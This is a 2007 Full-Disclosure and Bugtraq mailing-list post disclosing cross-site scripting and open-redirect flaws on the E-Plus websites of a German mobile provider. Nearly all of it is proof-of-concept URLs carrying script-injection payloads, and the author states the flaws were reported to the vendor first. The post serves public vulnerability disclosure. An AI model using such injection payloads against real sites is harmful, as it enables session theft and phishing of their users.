| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-Id: <200703121915.18316.mail@hboeck.de>
Date: Mon, 12 Mar 2007 19:15:14 +0100
From: "Hanno Böck" <mail@...eck.de>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: XSS on eplus.de, german mobile telephony provider
Here we go:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus-unternehmen.de/frame.asp?go=');alert('
Already fixed ones:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de.mydomain.com
With lot's of work done by alexander brachmann, www.bitsploit.de.
All have been reported to E-Plus before.
Blog-entry english:
http://www.hboeck.de/item/458
Blog-entry german (more detailed):
http://www.hboeck.de/item/457
--
Hanno Böck Blog: http://www.hboeck.de/
GPG: 3DBD3B20 Jabber: jabber@...eck.de
Content of type "application/pgp-signature" skipped
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists